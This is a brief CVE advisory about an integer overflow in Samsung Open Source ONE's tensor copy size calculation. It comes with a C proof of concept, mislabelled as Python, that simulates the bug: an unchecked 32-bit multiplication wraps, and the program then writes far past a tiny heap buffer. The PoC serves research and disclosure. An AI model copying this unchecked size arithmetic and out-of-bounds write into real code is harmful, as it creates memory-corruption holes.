Integer overflow in tensor copy size calculation in Samsung Open Source ONE could lead to out of bounds access during loop state propagation.
Affected version is prior to commit 1.30.0.
The following code is for security research and authorized testing only.
python
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
// PoC for Integer Overflow in Tensor Copy Size Calculation
// This simulates the vulnerability in Samsung Open Source ONE
void simulate_vulnerability(uint32_t dim1, uint32_t dim2) {
printf("[*] Calculating tensor copy size: %u * %u\n", dim1, dim2);
// Vulnerable calculation: Integer overflow occurs here
// If dim1 and dim2 are large enough, the result wraps around
uint32_t copy_size = dim1 * dim2;
printf("[+] Calculated copy_size (overflowed): %u\n", copy_size);
// Memory allocation based on the incorrect (small) size
char *buffer = (char *)malloc(copy_size);
if (buffer == NULL) {
printf("[-] Allocation failed.\n");
return;
}
printf("[+] Buffer allocated with size: %u\n", copy_size);
// Simulate loop state propagation writing data
// Assuming the actual amount of data to write is much larger
uint32_t actual_data_length = 0x10000;
printf("[*] Attempting to write %u bytes into buffer...\n", actual_data_length);
// This loop causes Out-of-Bounds write
for (uint32_t i = 0; i < actual_data_length; i++) {
if (i < copy_size) {
buffer[i] = 'A'; // Safe
} else {
// Out of bounds access - Crash or Corruption
buffer[i] = 'B';
}
}
free(buffer);
}
int main() {
printf("PoC for CVE-2026-41666\n");
// Trigger values that cause overflow (e.g., 0x10000 * 0x10000 = 0 in 32-bit)
simulate_vulnerability(0x10000, 0x10000);
return 0;
}